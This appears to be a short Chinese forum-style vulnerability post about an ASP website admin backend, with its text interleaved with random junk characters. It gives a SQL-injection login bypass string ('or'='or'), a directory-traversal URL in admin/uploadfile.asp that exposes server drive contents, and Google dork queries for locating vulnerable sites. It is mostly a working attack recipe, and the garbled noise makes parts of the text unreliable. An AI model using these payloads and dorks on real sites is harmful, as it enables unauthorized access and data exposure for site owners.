后台万能密码 'or'='or'
% M1 K. V7 ?/ ~, T
& U9 _6 e0 N e9 O% `) g后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露!
2 n/ |/ t t3 Q* ^2 \admin/uploadfile.asp?currentFolder=/upfiles/../* Z9 ] G! L! m" y0 R- [
9 V- |) k# U* I9 n) M p漏洞证明:
' h5 k( k* ]; }; u- T( L( y( v
谷歌:inurl:type.asp?id=1 新闻中心
2 l% U5 N/ s( [% s% Y- @或者 :inurl:download_ok.asp?! i" j9 G# g# r$ ?# _
* v. Y1 u- K8 e- M, b* _ |